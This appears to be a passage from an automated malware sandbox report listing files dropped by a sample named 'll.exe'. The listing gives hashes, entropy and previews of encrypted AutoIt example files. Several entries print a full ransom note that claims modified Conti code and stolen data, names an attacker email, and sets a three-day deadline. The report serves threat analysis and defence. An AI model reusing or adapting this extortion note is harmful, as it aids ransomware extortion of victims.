Preview:.O.Q..,.......H.a..S..7..-.b.'.. ....X..G.......B.[...8.v.}.j.._.....\5..IH4Uq/d..7.*\...$......s...a.j..*.....o...!._...a.aS}O.....8.r.%...'.x(.S&<..g}k.G.rz..E...E.>i..F..N.N.kh.......8....%...;GY.}.K7.......5I0etm.K.[.....C.EW..h.K,.....@._q.].blc.Rk...F.L.......j.1lk..:.......l....2(i...Q.}./...O..+....k$.K.>...........Z..G.(..f...U.8%.......i....3[.F.w...:).p;.L.K<Es.. .0..h.w.2.Y@.&..P........8;Z..N?0...X.....^.A.~-..-..5.NE....Z^......~.L"...V.y'|.r..G.w.5.TB.1;8.IsISo....KC>.;.#..4.......U..5.......y..X.m}.Z...G.({.%.."`.0F.0%..J..fJ..QE.A&..G.4>..O..Q.2._v.........R.cI...K.rt..9..0....6.\....S.E<v.K.......".....tF.......F*@.?0@.q.F......T]...l....4..!...<..:...w!..-<...).....(..0.[.. 8...g..2U.Gdo."..P.a....`H..o...s..X.TnE...C.D....6.'.`...0#..N.B....kK.....[...N......r...IE..VB..L.@...{C..)..'s.)..us..2'.q.....a(...;..(......5.s.....B....).I[.C.. .p.2.F.^...7s+....U._...c7...e<}..T...:...'.Z...w.......Y8..F..

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_DLL.h

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13527
Entropy (8bit):7.988542210139132
Encrypted:false
SSDEEP:
MD5:3AE6C7B1EC131CA96D68DE68B7EB8405
SHA1:126942FDF04F31EBB130D697C111AA7D29B9C641
SHA-256:0CFB057828375DA52D08177AE81EF9EFB309BFB3C8761A143B5E7C594E76DBC3
SHA-512:D4737BB02257BB539980A91EAC287418F7CAB40C9319D453CD819ABC497E867A838E7B7C4EF8B9494468BD6C250C1572E20D55EE3AB108A742F5DA019C2A1A49
Malicious:false
Preview:+...X..h.$...i$.[Dd;.....0}.......`....s."%..`.K....h....D;D..^.i.]_.z....u.x..g-P:.p..Q."M.SS)..+<.9..h$.F.#(..#..L.b.j}.*^...w.A....B..D...l......l....PZ..V0Ku..r#...\..n...R."..v~A2.. /}k.u......a.4.....{F......R..j../-.R.:..7.H..z..}........ks.r......U{.......SH.w....W\..q...&.'.o..)._i.N.P.....%.9'T.5..G...MDla.^{.E".....K..%.l...L.Z..9......H[.+..m..EF[.U.)..2vL...m.BHY..DV.k..J..H..."..N....g...sf../.M!...n.`.G.x:v.kZ..A=.]..G,....w...._.M.[O.($t..v..+...~.._.v.{....G{..='.w.D...kP.e'..+.Y^..0(du..MP....S.J..$0.........~..x.yW<J......*...Yp.-.......k^..r..|..p.}...].Q. j......;.3,.K.=..< e]....UI{=.1d...a.....U.*3.z..........>..w....).....I.....%...{..0~}.D..p...?{Z...\..C.qv.^.~.r....C.....2...p...Sg.Cd.8`.3..-.....i..GL.....S..=)...oar.......i....9..<..rra<+... ~KJ.'.ZM.cT..........lh%....c}....?. yl.,...<.H.B....eo:....]`.'..+...U..^u.#.7._.9.ZI....T.o.. ....x.......F..r,.y.m.Ibe..L..,.Y/ZG..^...+.!..}-....8.&5gsT@y.;|........0..

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_DLL.lib

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):29510
Entropy (8bit):7.993455191539998
Encrypted:true
SSDEEP:
MD5:46CF6718A7088BA2F0A00CB9195BC17E
SHA1:30425A23AB7BDE94984405659B9407053FD98FA0
SHA-256:DCF81FF7BB81500345A2D628795EA3C25E22C1149358A8DD87DD2AD0F7040FB8
SHA-512:B5155733E3F4ECD4A22AFA92BA04B2D21DB44097BD345F7832E5E526950D5BAD5746E940795D3596D78F7BE4BDD140D96DDF58C6A8394F07E604BF6ED9597C69
Malicious:true
Preview:E...6....._'.::...~.1[n<..n...52...p.|..=.%.1.Q.f.o..L..4.oS...'...V.fu..Vb.)w..kp...]....5.d-..f..M..6...b..b.h...@..eF)..s......H.2.n..u.....F^..x...>r.X.&..[..@N}..?W..0.E3..n....1j\O.S...q..9....P...a..+K[q.s.za.W..a.-8.d2..A._.jS=.4O...ta(qd(..y.... ...h...~.d'!j.K......aL(.....T.W...-.|.K..*.T..Z_.../..a.M2#..+J.."...x.4fx|ru.....=J!L.:i.a<........O.....f...8_..~......!.+xE.B..iD"....,...7.G..mM:...o.b[CE.[....n..y..fb.m.J3.:./.......o.&;-..v..F..b.g.q....=...K.&E.Y@TL,yF.......-@.E~i..LE...*.xq.V.})(u..)..z/.M...Y>..R..G......2...x.'5...A./........5!....~.HB....F....Q.u..^...C..J..T...@4......O=uK8...D..c....=+>%|..Kg["..'03....i.Afr......{zj..Y..)f.7X...mi..N....C%.h.%..N...x.3.f"..J.T.kj.:.....(V}.r.kcr.T.s5...P>.....c40&..1..^E....*...oA.4...v.#!?.m.yej.S... 9.t....:.G.4.X2 V..@h.*....|..n.....-x.?Kh........S..\....f..}|r.......si0.>|\mo.d..d/.....af..9..4b..HYQz....-../...S.X.7..T.....Do?....%(.8.....)..N.0=1o~.-.K./.x.u...G}..

C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3_x64_DLL.lib

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):28080
Entropy (8bit):7.992411369401827
Encrypted:true
SSDEEP:
MD5:9F9078246EE9B7FD8CCCE0EF9490DB98
SHA1:EEF1EC2D4D3636327E03D82716BD99D47AE4F944
SHA-256:5F33BDA1EDE9D486F31871B4FC9D37002C3BBA0F6A32D197C33A81DFC581AB4E
SHA-512:26A88DD4E4479EAC9FCF534EA816A90EC925289ECA6BA0D2E093A584757132F136F29AD4FC7A727BDF706D2BB39F601B982369F2EAC5DC9BAE99AE44B5F97B04
Malicious:true
Preview:.....,.p...U.M.].h..&^..e.,+mYHT...N8.p...94.w.2.p|..P.E.._..p.^J..Z..\.2k=....].9.......9u.{..=..5.....~...f.A.X8.[T...q....Q>^....(.....m'..=..Q\_...Pj;.P:/.w..G.6.,....W./.P.xt.....N.....I.q.8...A...XIg.Z\....."LQYG..J....T!>X0...f.I|...u.!.....$.9......;.....bp#|E........:.w8@>o.?Djx..\(..P.J.............^W#.......!t.{fa..a.a\....Vh.5.z;.......M9...f.@+A=.q..Y..._.}.}<T.l...C%<...m-B.n.cr9.p...T.$4..0r..U..j.+Y.R>eO....}...h3c....2.|...{..K.&<\.$.Q....K..O..p..I..Kyc.%...T.$..M.7..O~...+..'.\....~..BcE..C{..\....k..r.9.....bS..@.P0..b.../$X..........={.K..^V..Sx.z.%...O.J..&`...|..[.cg\....]....a....$..j....X.).j.....L.d....&..Oe`.P..4=..]f....^.V..S%.....J.....80J...)..A....Q8.0.......L.[...].q....{..8 ]O...5.Dl..R.nv.....s......N.:.B3...![uG.Yp~...D7....(..f.a.?*.\u..t.iZ.h".}."..#...S......tM...r9fH..c.|.%....gy>F.....9.@..U/.M...F....+.6V.vJ.}.~.YJ...b.7.q..uE.+Ge...x..l...(......<....b.6..Gyl...7..3.._.....P./...ZD^=...

C:\Program Files (x86)\AutoIt3\AutoItX\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\AutoIt3\Examples\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\AutoIt3\Examples\_ReadMe_.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):741
Entropy (8bit):7.649384777573955
Encrypted:false
SSDEEP:
MD5:59C0DB415E51C15507D261E4C97764D5
SHA1:3CF6CF8911D87BF0BF996087A905A5C7F3CAC3F9
SHA-256:46D4CD0DCE84F5D7A6AC933B4B907DBC0999C1383F70230B24A8B9B87DC9D52C
SHA-512:ABAEC42FFBE633E765555EADC41C1FAA046A4ECCF1631BA5D320B77B85C6FDEEA9E71823C4CC23F5FC6E61301071B69E0FEE5A97A23BB352A0669CAEFBB44EE0
Malicious:false
Preview:....._g2....=..#.-...8..Rz~..F.b.5SY.....m..e5.R!.K..Q$.m9.$lV...q......y....;.g.....<..|L..] ..[7.y.L. HX.g.}..s(.T..X.G-4.)h....z..E.2.x......I(O.CM...o..rM..kf_kY.z..9..&...d.H .t..Lt.....Hm...N.. ...K..j....Cz#.'....<8....\7.{".#.R|.Eb....O......FN.<.;d.!c..1>..#..ai..:.N.....m..........18IXt...Fej.x.y.C.i(.sE......._.5..@.ke{;..Y*.#........9&.}....lvI%z.W."...".t........@S...DW..N#...?.....,G[...n......`..`\.y.j.mNI7L.\...+....=.qf..I..6yvQa..........b.......w..2,dN.N.V.P.x......Sou.......o7Y.;p}.....Sd5.q+b....*.Ez.^.....R........:]..H../}.CY.k..\...I.(......7..z:...S....@uN.29..]..F.....,..+?.......[3..<.iV....Bro@.....R.p1.......{..w|/.T.,*.|...(...........#....z.+_o............$.........

C:\Program Files (x86)\AutoIt3\Examples\calculator.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1939
Entropy (8bit):7.899518310385831
Encrypted:false
SSDEEP:
MD5:6C1B89631B06C07BF7B65D449A519289
SHA1:DADBBC458C9E5CE22A37D205DED0CA093381EC13
SHA-256:2EDFB9E114C4B758160C6BC50C98FF96B9ADC9CE8C924ABAFEDC1398001814DA
SHA-512:4A2FD14B68BBFCCF10446B059C167AB2F9918734E8EAE6D90FE068802634A639DA0BCF941C0D4489A5B9840D9B11EBA839205F35B32DA14FCCC0E4851EA27AB6
Malicious:false
Preview:<.f@g....<5.,b.#u.....<.."O..b3...`d.9~....>....`%.I..d+=.0ak.@.....i.H...l.W=U.J=......j.R.[.....C...<....;..s......&!U.*.2.n.yr.V..5..~.-..B......*..n:w.Q.+..y^."S.@$..iK.T...f...;...,.).B..8.u..#>....w....|WfE2...c.....S.....|.;...v0x.U...V..H.%....N...K..s.=..=..lL....w......,.L......M. |W....o.......&..@.....]......n#R.....b....FP...\8.I....ThZ......=..p....t5...X.TM..]..Q...~.E&.\....0$....r..h...0*.6.Y.?..o@.V.2E.....E....GW.8Jg..\..s...9.J`'{.=t.c......<3..S....}b...1-......y.5.TT..Su.`.mnn....%..".."{.j...:..t..m.HS^l..-Y...(..{.aD5WD.A.u.w....x2..O....ADM.]Z-........:......{..'*)......'P.N-.E\l.......S.1.L..%......=.c.k.A.N.......7.h..+f.A....Z..\....*...D ...n...f.$.I%.P'+......J$r8....;~.y....l*...tx....B.+...J..0m..!.U.Xf..{?..c.....(.(]G..N..o.ED..Dk~.f....aH.#..GPg...p..Z..A.*)..G:].....s....G..{..V.@...:R....c..eP.V.w.6I*.,.R).#.1.PijI.....\.>'.!...|kS......#...V.+4........ ...u...."n....U`/..q..S..H...H...L....dUp..w.

C:\Program Files (x86)\AutoIt3\Examples\count-do.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1711
Entropy (8bit):7.881203384247349
Encrypted:false
SSDEEP:
MD5:3E2330CFEFB5F1E5B36F365585C85FCA
SHA1:A7AC302719B82F5329DA06D6387E3F02BAB00381
SHA-256:39DF248A61C6F8E21B38DDAD6BD492FE1C823540E986BA8B987B3D433DD217D3
SHA-512:23145137E6EED09FEACBFC9F913C878AE2CBB0F795FA3D77B65870E94529FD08CFB76C7BD20D01E0EEBAC2ECD85DE143F9FE0A5E2777CB6083577B2D54BE9438
Malicious:false
Preview:...F..E.XK*t.'.6...~N..J.4.eG.GKC?..i..Wi...d...IET0..o.j.`.......t......6....aQ.F..+...b..f<.mf.....N-.......P....1VZEv..G3.:..)n.a.P+..5a.:u.....E...QE....c.>....1.........-...^3........V.a.. .9.-X.X.....za.%>S..^..5.f..5...8....-........j..t...;:.....r........z..t..85..A......#..........!C......Z.....*6%..h..~....Ko..)~..). }3.u..[ ...t.....x..R....8..`.O?.f..a!..q...{.L\E.j.......f.....Z.o..p.s..[.5U...oI..HY..C..._*.!D..4..rZ.1.+q...*..N.H+....D`.b.:..........S......W.BZ.b.:......5Kh.Q...Y.>.b..{:-.....G.6..0@.......0.x.r.J3e.|.P..:..,]t.~..Kt....p. ...=.DMn..iR}42...j.".3+.l.=vn.M..~..6}i).\.$.9E...:J@..9@.......N.5.tK...._.d1./%..........=_<.c....]..2...4.......F....T.......X.>e*...a...o(../p.1..9.4=A.5.E..d...\...j....t....B...}..2.C0....].{Sr.Yk).w^..._..q-..r.=.x..6.jJ....H........8.M#.0=. ..1........PP....D.. $J...H.1...R..y..k.g.^]....u...l....3B.D....SO..1M........i....5.nu......[..pK.2.@....8V..N.E._F.2...........5

C:\Program Files (x86)\AutoIt3\Examples\count-for.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1498
Entropy (8bit):7.847927207688585
Encrypted:false
SSDEEP:
MD5:316B2488C52029848159BBF63BDF77FA
SHA1:2180953836FAF5F2482D9CBA822BF83C7CF348AB
SHA-256:D99583F2887418BBFDEB37F4779F92759154857219902F319AEA2733D21F0468
SHA-512:30DEA259E366470CE74A394048D3E6AD6F8967969755609E58421FFCDD5261C917E6186A91CA7E99C0A675618948F0E819889A99D4B98D48B334BA422467AEB1
Malicious:false
Preview:...;U.(...3..1...#DO.H....K.~e.IA.im].U.(....^g...}$KI#%rL...4........0.........6.M.."..O.....1..=..N.....%......b..\..V.,. ... .2^c.I......hi.......W.9NJU...C,'.&.,.!.....j?..\.m...i!...S.=.<.K^.=x.^..)....g.sq.]p.%0...."...z5.q...A.......p...1.*.....1...|.~..?..9../~Q.)Z.0.0....V...YV.y.Y..@.jK.^.P...;.U...n...\.L.lP.............Hk.s.L...`X.x..?....c.q...h8.*.#......].\W...{..QG6....Q..Q2i.i.x^..W>..3y....7.q.%G..>...!.l.2..:&p...u......@.;..z7.X...B..Y...ze.....cF.7...(....g.@`...&vt..^.F.~.u..6f...;i.......u.s..&hCa..M[.l..8$.{.A...,...R;E}..Y..C.......^....J.i*w..e6M...VkVhh.i+.3.UU?\...$....i....>v.W.7.._u\.......:.M..fJ.w....kx...h.z...m}...{q...}.....*...>......[.R.....z;.,...x,...A.!.........:.S......?..).]....4.x..o.X....R...a..P.......xa.|kA}..7TX.\...(.=...^....dy."..D.c..A.....-.N...9..Ng..c.%..c......D.......#-6... N.G.^...W#..[...]."F........*....;u+.X....".....[!I=.3..>.Y. ...z.$S.5=J.....Au..,@{..|.'...r....t.w5/.

C:\Program Files (x86)\AutoIt3\Examples\count-while.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1703
Entropy (8bit):7.881401791125403
Encrypted:false
SSDEEP:
MD5:A75C5472F5CB84454586087EB08F8F7C
SHA1:C32E77F9A11977DAB3FE279EDDF3AB59C71260F9
SHA-256:113BD6D2BC73589186FCBDD0A0D70F49DF60AFF486AF36E594AD8E2AB33B4E6C
SHA-512:A83F4E592733EFCD9D782D2CD5980C5223E3E63FA153C050BD0688D0DFDA61AEA21D4ADD8B87D7CCF08A4646BF6305F6B397C32F224D75FEB493502A175C661B
Malicious:false
Preview:......HX..G....W..>....l...!4(.......i.)m.1..8.qv.:.&..R.V.7..".};0....dj.y..............+...'.\<......%.....=...r.K..Ey..Dm].C...T.M3.S....j.1.7.D....8.x.{2....M&..bx..@<.K7.6..;q..t...%..jr-x.F....!-.*..3.2.~..U.c1~^.[#w?..S..z.NW...0.......].%.i..P..8/.`LU.t .'...`9A\.nl..q..z.... .{.F,....h..=."\.{.B.'.&C...b...x..._..LJ.k..+...Z...vI./~.-eE.....Q......Dg9.y.).7b.8f(M.L.r...F...`G!.u....^s..a..l...W(|L;p...=0.....o...#Q.....}G.}..%...o}f.;..'b.J_NF.....p.e.)$.kQ..P..>......wt.R....K..e.]..=!O..6....g..v...f..i..)6...-...(...i...$d...gH....p............n......M.l......EfNv.><T...x.l....2...CE.....=e...v/.....].&..&)..M.$.2a\O`.........na".S...c.a......H.....*.......#./|..I.J|8.?b..[A.^.M..0...F..^0r9f.[?..:.C?*....E...l....E_.y...,....%0.z...{6.....k.-...X.S..S.q..hb.`K....3..P......v.=.6.6..iPy....8..._U.`....~..ay...?.._....6..Q......e..tEl.........~7AA...v.....c.U~Z.....|.......U...&."..M..Z....X1..l....0....~..w....e....^....4...:

C:\Program Files (x86)\AutoIt3\Examples\functions.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1691
Entropy (8bit):7.8666164628654585
Encrypted:false
SSDEEP:
MD5:FE345023990D011F6ED86C0284C9384A
SHA1:E971E2B8450A0BE8EFDCA64A6D680EF268565E3C
SHA-256:CAE6EAD55D7C43229E3DB810D1790D1F5E58BDE9909A1ACCD75AAF63714979B5
SHA-512:887A592C3E1CF4ABB3ADE60DD957CCB6CD77B32AF328255EA8FCC0901A6BA7C2D2CDE2C1CC882134516E8B7C6A807DB6CB516EF602F9FE2B5443765A1EF071AD
Malicious:false
Preview:..0..1...um}6..z.x..Y...2[q..?X..&.."..=..4..._....W.v.`H}..5[..T.F.CQ...vU.)p~..P...M...gR...?.d.Zr.6...*noiY....q...#..e`M.Q..eE.?.{...Tm.....s..O....s..v....]xG.U...Bg ....O...<...<.h.....e.._5...h.{.`}.a.*...>...Q.....f.ni......+.z.M..L/J...?.5@.zni#Z...+\.(P.(<Xg+..qH5.e.U.`9).H.....nXS7.}.6.......ds.q........U.....Q.9......it.p.=.......{.x....-g/B.d.S.{.)....f..Y.....c.bEM.}.......u...M.Z.r..G.M=<./.....T..ba.[w...s...8`.S......R?x2..k....i5....4.q.=.Zx....+......j,.RS#..m....-_1 *w(\....r.=...H.(U.._.=J..N.X....x....+..I........z...k..`....u....G....$.{......9..'.7.)qP.....!u.QQk.=..M.$......Wu.......4fR.xP,Jq...Nf.{..4.e.P1.(WX.1......nF...Q`...|..L..6...T1..9......X.F..D..5.\.q.{...K.6.'.2S.&^cT..C..d.V.r]....<.....y.'.+./.....U.5..'<...$...D/..;r.M..ZS.g.]|c.[8.......Mj...;..U.....Y..}&.f...sl......4F.A..A...$.....)A..8O"..mI.0V....'1a.,....4'.g/...&..@P...]{....w...6.@e.v.A..D...u.G..&.#...e....IbBS.9>....#y.8...*.

C:\Program Files (x86)\AutoIt3\Examples\inputbox.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2226
Entropy (8bit):7.917865587566269
Encrypted:false
SSDEEP:
MD5:2B71BDA18B22EE6E30F81565EFA4CCF9
SHA1:957774B5A4AF639C8D084758B051B21C044C1E88
SHA-256:5717836A63BDB4265358DC28032079DDDD4580BE2E10F61BA0D5A4A2D1B67DB2
SHA-512:12F37FCB330F3015B02F72875F91AFE1B5F46F68C1FB8D651FB0C1D01A9119A213AF89403EB09541B5E2AC6459CEA794B87FDE64CD9981076FC841B9838FE59B
Malicious:false
Preview:...YC.*..F{T...B-t>ox...O%...f.`..q.xJ....A.D..SG.=F.;.[v5"....o._..#..+yR.#.4.VEH.*.`3.y.dj.)U.n~$.......>. ...h6.~.*.b..MY...*t.Pi.(...i.[;..~...."...."4..wL..`)C5..U....+.B.|..0..D..N.Sa..hG.lL.c...+..2..J.r@(....;......kY.......%....u,.9..E......g.((.M.z...s.&1....~..p..h.2!.Vab..b.lx...G.82.l....<\.\*sx....d&../.I../........&.>..3....L......joO4.HM.Y:BU..&...'=.5..$K.WS`..B`.s....O..K=....\.. .n].X.b..I.B0FZ...".A.>.G.../.".".....j.L......S.$56.>.k.n..u.....e......F....p.....eu{.)......D..Dz...<.A..8.qR,.q.AN..*Z.."..l...cW.Pe.fB...m+.=...]...V..j<...s.....> &}.+...X.&.c7`E.....K7.....K.%.y).A.(.,;$c.....WN...H.t.*..w.f(J...+.D...h../...`.)..*.`...K..O!..P...^...*==Mi...5.f...y.E..~i....^.Ws..9....0..:...8..Sv....@jC-.s>...R9I.^..?....K.TC...~w[....k%5i.R;..ggw.R.k.........5.s..=...L......8....m......`&...,F.%D0.9.......b...m.c..KF]{.4..1.e......%..`.K...I.v.#P..t..,...S|.g1o'G.l.....~....c^.h'.>F.y.!e.0......g.....zI].{......2.+..t|+..T

C:\Program Files (x86)\AutoIt3\Examples\msgbox.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):993
Entropy (8bit):7.734563060226083
Encrypted:false
SSDEEP:
MD5:8066C2047D927153E5C1C61E5F0D0232
SHA1:49CF2B6083EAAAA87EB9B16F8A5374964390EB2F
SHA-256:2DACE7BF0A3200523624AA10C0C078A789A25185172AC148D47FB83382A41DA1
SHA-512:B6D6676C66725DE515B207BBA87445EB9E531D4365E85A78B48A822585B95663434912F4162E3335BDB68AD87D3028762AC3CA40A8E8D3682CC22B090B3229A4
Malicious:false
Preview:..H.b.r{.r...X.4zP.t.....d...Pn~H.G.V..kfb.4..af.p.&m...NI.^i....0W.......&bv6L.....W.....#m.R.*N.n.jL./e.ZI.E...Z;.A.<...~....A...&...,.TQ....7...Z.A.n~........!..x..8.2..$(1.`.%.C,.!.:.-...$...........ceC.i.|..%D/9|...x[....`0!......k...1....+...`.p.....;K.QB.g.............b...|..j........"~.HeV...gc.i..dC.....f....a...@[.R..3.:.<~....m..."f.L.m..f..9....PN......J[...[..d....v...H.1...b.=d...J~...-W.C.N~........=Z!j.@.W#.:9H[..n....n.2..\..O..y*.5}%.x..`E..z../...ui....0.b-T/.B..4....9$...)+......8...ij#.Z..@.......]8....d....).d.;.Q..<.Z...%..cu.X.....G.....N^Y..J.uhP.$...D..5RG..(...............`.|..,..k..}.ki......xi.J......[iA.......x..A...6f...2....H...&.Nr.r.....3.....u...T..e...C.f.n.%......p.zx.];>P_7!.j..&......@Eh..pa.5(z_,e...h....!..i...'..[N@.......r4..".....,J..5... ..,4.]|.&.....`' Q..e...g+..}.......`..%9..7h.>.q...R.#.^.....S.....(...X..z.}.....N.T.H..>. `[.........:Gp..r.Yu[.M..ok...$....nY..............$.........

C:\Program Files (x86)\AutoIt3\Examples\notepad1.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2235
Entropy (8bit):7.907045107944536
Encrypted:false
SSDEEP:
MD5:583C15BAE23AB403F33A2C731C6C0B09
SHA1:B58568EEAE70A46EB6391C998B9CAF5D8C785C99
SHA-256:75E113E2F9F93D9A117218D32BCDFD97D1C47323CE7D4610209259A4841538E9
SHA-512:D736C6EE7B8E30457FBBD69B1C4A9F715607A85AF7F5DB212E299D43B51D3F038935AD04154ECAB57544D4AE21DB6F900864DC6F456027152E51B7FAD80AA7DB
Malicious:false
Preview:.....Q#......8.b..*H.7.....#..4.Z..6........kL$..[!?.N8....,!%&..n2Q.4.;E...............CU0....+e.p...Q0..O.m.D.T..g....y....,u..]...P....l.$.w[....../.J..[.h....vE...\..@m.h ..;6.V.u5E...rv..[.(d#...-1.h........!.HY.h....^.....&.G......~....OLZ..".z.n..6.S./.X...Y....|........P7..1.35.8h.+q.d..X]@..p..u...4..Wry.O2.Hd.Ig....Q.....*L.2.N_.7bK...'}..#}..*b.%.=.8;b..2...v.#R.!.:.2.'..bg.....b..o/..}Q.=/.W..f.L.k....-`+..J..}........o6.....v...\.[2H.r.b\...R.....v...z..t..>D..zz....dKw.9.../8j..~...S..d6....4.Q..?H.qW.....KZ....d[B:.H+.#"....dZQ......)...`=N...I.R.)...D...0..h..\-....,6.~.0......"y.v.........>..3..z....I?...%......_.O1m.#.._..........Y....W5Z..Y....*....l....X......\2[+.C3Y..A..!.=I...,H.7.U-...v....@..y.......r.b..j.~|.E..N....*.|i.E..&a...>U..8r.O.M..n.d..c....r~*P........6......Ns...j.....c;.ZS.`r.y%.cW....&....../..W..6..q7...)n....w_).r.Dpo..3..z...q...:.wT...t...sn*.X;.......KW..E....f'0..X7...@!.@..u..,f...F,K.K>.TG.

C:\Program Files (x86)\AutoIt3\Examples\notepad2.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1949
Entropy (8bit):7.8742122333771984
Encrypted:false
SSDEEP:
MD5:3C1D5A058C1676B407C0FAC77E0DD201
SHA1:5D4B64F9F715C947DC2F85C57C2AEA3ED0599AA2
SHA-256:9AE7C6BE90B1BFB2BDC117A86F45890CD644A216B8F0D3CA060E31747ADE94BE
SHA-512:1118D0C3CD336268F401A52C592FD3ED7CFCEF2A79046144BE8D38A2898EC95CBD377D85BED9D2BF5AFFF4CD4B92741109017027C9D33CC43BADE9EE3132725B
Malicious:false
Preview:..L.\..[.9.W..!v...d..-.v..RT...5M.h.gT.U.\..R%7....\.hz...`z(.....8.j.......L..CY..{..L.*..Y0.Q,.2..b.>...U.8.yq..8v..|......j+}.B""6..*.xE.......F...U...Gu.`...9K...G.\.` 1..@].DX....+S.LY....g....#T.....tM..qc..y.N..h}fW.>j....d.H...#......].v...y.....b ...I. ...V.*..k..bE$W.c..Y...U..O...zD..........%..W..2g..........U..S..j9Q+P..>OQh.#..[f`q........6xHSb..wc....C.(I.6..D...............E...j..<....W...A|LN:.~.Ls.FP*vr...@...V+2.w..\.....g.C........4...i.,a....IU....v~.vC.A.Oi.M..:.*.-.ei....@)......~..7........9m"..0.......*.Y......7..$^........Ni.G.{v....[w...N,r.y.<|.i....<@D{.$...{i.7}+]Od..<a..n"&.....&....6...t...n<j.hW..s..-....cf.].@...5T...i...P..tJN..a..........:.YAnt....Q.~.?Q.Tm..)..5.J.h@..A$}...@A.x.P!\.c..v...~.^l..!....|..!..U..t..P.R..p.q.N...+N.,J6..+".@...<..Rd. ......?St.\..d..7.....7.JW..&..@..4.WQ..q..Hc..P.M....A.7S.u1D.%....q......:..t(.d^[L.5~..e....^M.....w.uC......TyDX...v.la.W...}cFB.._...5.....*..FEjL..

C:\Program Files (x86)\AutoIt3\Extras\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

